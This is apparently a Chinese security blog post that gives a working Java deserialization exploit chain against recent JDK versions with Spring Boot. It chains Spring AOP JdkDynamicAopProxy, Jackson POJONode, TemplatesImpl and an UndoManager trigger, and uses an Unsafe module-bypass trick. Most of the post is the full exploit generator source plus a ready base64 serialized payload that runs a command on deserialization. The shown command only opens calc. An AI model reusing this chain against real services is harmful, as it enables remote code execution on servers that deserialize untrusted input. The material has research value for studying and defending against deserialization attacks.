高版本jdk+springboot链子

今天看到了师傅在群里发的

01f258315b23969a24b44be6e74edb80

image

获取序列化一眼看出来spring aop代理,加之前的一个trick,

不需要继承AbstractTranslet加载类

众里寻他千百度,慕然回首

为什么继承了AbstractTranslet不行呢

image

我们在这defineClass时候,触发了一个报错,检查包管理机制

image

为什么,因为我们正常的类继承了AbstractTranslet

所以在加载时候触发了包隔离,但是我们不需要继承也可以加载AbstractTranslet

所以payload即是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
package com.n1ght;



import com.sun.org.apache.bcel.internal.Repository;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewConstructor;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.Vector;

// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.bcel.internal=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.bcel.internal.classfile=ALL-UNNAMED
public class Main1 {
public static String base64Serial(Object o) {
try {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
(new ObjectOutputStream(barr)).writeObject(o);
return Base64.getEncoder().encodeToString(barr.toByteArray()).toString();
} catch (Exception e) {
System.out.println("Error: " + e);
return "Failed";
}
}

public static Object base64DeSerial(String base64) throws Exception {
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream bin = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(bin);
return objectInputStream.readObject();
}

public static void fileSerial(Object o) {
try {
FileOutputStream barr = new FileOutputStream("ser.bin");
(new ObjectOutputStream(barr)).writeObject(o);
} catch (Exception e) {
System.out.println("Error: " + e);
}

}

public static Object fileDeSerial() {
try {
FileInputStream fileInputStream = new FileInputStream("ser.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
return objectInputStream.readObject();
} catch (Exception e) {
System.out.println("Error: " + e);
return "Failed";
}
}

public static void deSerial(Object o) throws Exception {
base64DeSerial(base64Serial(o));
}
static Unsafe unsafe;

static {
try {
// 通过反射得到theUnsafe对应的Field对象
Field field = Unsafe.class.getDeclaredField("theUnsafe");
// 设置该Field为可访问
field.setAccessible(true);
// 通过Field得到该Field对应的具体对象,传入null是因为该Field为static的
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
System.out.println("Error: " + e);
}

}

public static Unsafe getUnsafe() throws Exception {
// 通过反射得到theUnsafe对应的Field对象
Field field = Unsafe.class.getDeclaredField("theUnsafe");
// 设置该Field为可访问
field.setAccessible(true);
// 通过Field得到该Field对应的具体对象,传入null是因为该Field为static的
unsafe = (Unsafe) field.get(null);
return unsafe;
}

public static void setObject(Object o, Field field, Object value) {
unsafe.putObject(o, unsafe.objectFieldOffset(field), value);
}
public static Object getObject(Object o, Field field) {
return unsafe.getObject(o, unsafe.objectFieldOffset(field));
}
public static Object newClass(Class c) throws InstantiationException {
Object o = unsafe.allocateInstance(c);
return o;
}

public static void bypassModule(Class src, Class dst) throws Exception {
Unsafe unsafe = getUnsafe();
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(src, addr, unsafe.getObject(dst,unsafe.objectFieldOffset(Class.class.getDeclaredField("module"))));


}
public static byte[] getObjectBytes(Class o) throws Exception {
return Repository.lookupClass(o).getBytes();
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass3= pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass3.getDeclaredMethod("writeReplace");
ctClass3.removeMethod(writeReplace);
ctClass3.toClass();
CtClass ctClass = pool.makeClass("Calc");

ctClass.addConstructor(
CtNewConstructor.make("public Calc() { Runtime.getRuntime().exec(\"calc\"); }", ctClass)
);
CtClass ctClass1 = pool.makeClass("Foo");

byte[] bytecode = ctClass.toBytecode();
byte[] bytecode1 = ctClass1.toBytecode();

Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object templates = newClass(aClass);
setObject(templates, aClass.getDeclaredField("_name"), "n1ght");

setObject(templates, aClass.getDeclaredField("_sdom"), new ThreadLocal());
setObject(templates, aClass.getDeclaredField("_tfactory"), newClass(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
// setObject(templates, aClass.getDeclaredField("_bytecodes"), new byte[][] {bytecode, bytecode1});
setObject(templates, aClass.getDeclaredField("_bytecodes"), new byte[][] {bytecode, bytecode1});
// setObject(templates, aClass.getDeclaredField("_bytecodes"), new byte[][] {TomcatEcho.testCalc()});
Class<?> jdkDynamicAopProxy = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Class<?> advisedSupport = Class.forName("org.springframework.aop.framework.AdvisedSupport");
Constructor<?> constructor = jdkDynamicAopProxy.getConstructor(advisedSupport);
constructor.setAccessible(true);
Object advisedSupport1 = advisedSupport.newInstance();
Method setTarget = advisedSupport1.getClass().getMethod("setTarget", Object.class);
setTarget.invoke(advisedSupport1, templates);
InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(advisedSupport1);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, invocationHandler);

Class<?> name = Class.forName("com.fasterxml.jackson.databind.node.POJONode");
Constructor<?> constructor1 = name.getConstructor(Object.class);
Object node = constructor1.newInstance(proxy);
// Object node = constructor1.newInstance(templates);
// JSONObject jsonObject = new JSONObject();
// jsonObject.put("aaa",proxy);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getObject(manager, CompoundEdit.class.getDeclaredField("edits"));
vector.add(node);
// vector.add(jsonObject);
setObject(list2, EventListenerList.class.getDeclaredField("listenerList"), new Object[]{InternalError.class, manager});
// proxy.toString();
String s = base64Serial(list2);
System.out.println(s);
Object o = base64DeSerial(s);
}
}


没有触发

image

调用newInstance触发

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example.demo;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Main {
public static void main(String[] args) throws Exception{
String s= "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdJFIzC1z3w7eAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy8X6fHQgqwh0CAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAsY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuUE9KT05vZGUAAAAAAAAAAgIAAUwABl92YWx1ZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuSmRrRHluYW1pY0FvcFByb3h5TMS0cQ7rlvwCAAFMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDt4cHNyADBvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuQWR2aXNlZFN1cHBvcnQky4o8+qTFdQIABloAC3ByZUZpbHRlcmVkTAATYWR2aXNvckNoYWluRmFjdG9yeXQAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNvckNoYWluRmFjdG9yeTtMAAphZHZpc29yS2V5dAAQTGphdmEvdXRpbC9MaXN0O0wACGFkdmlzb3JzcQB+ABtMAAppbnRlcmZhY2VzcQB+ABtMAAx0YXJnZXRTb3VyY2V0ACZMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvVGFyZ2V0U291cmNlO3hyAC1vcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuUHJveHlDb25maWeLS/Pmp+D3bwIABVoAC2V4cG9zZVByb3h5WgAGZnJvemVuWgAGb3BhcXVlWgAIb3B0aW1pemVaABBwcm94eVRhcmdldENsYXNzeHAAAAAAAABzcgA8b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkRlZmF1bHRBZHZpc29yQ2hhaW5GYWN0b3J5A8nnSQWpqEwCAAB4cHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHEAfgAic3EAfgAhAAAAAHcEAAAAAHhzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AudGFyZ2V0LlNpbmdsZXRvblRhcmdldFNvdXJjZX1VbvXH+Pq6AgABTAAGdGFyZ2V0cQB+AA54cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAASzK/rq+AAAANwAYAQAEQ2FsYwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAJQ2FsYy5qYXZhAQAGPGluaXQ+AQADKClWDAAHAAgKAAQACQEAEWphdmEvbGFuZy9SdW50aW1lBwALAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADQAOCgAMAA8BAARjYWxjCAARAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEwAUCgAMABUBAARDb2RlACEAAgAEAAAAAAABAAEABwAIAAEAFwAAABoAAgABAAAADiq3AAq4ABASErYAFlexAAAAAAABAAUAAAACAAZ1cQB+AC4AAACWyv66vgAAADcADAEAA0ZvbwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAIRm9vLmphdmEBAAY8aW5pdD4BAAMoKVYMAAcACAoABAAJAQAEQ29kZQAhAAIABAAAAAAAAQABAAcACAABAAsAAAARAAEAAQAAAAUqtwAKsQAAAAAAAQAFAAAAAgAGcHQABW4xZ2h0cHcBAHhwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB4AAAAAAAAAGRweA==";
new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(s))).readObject();
}
}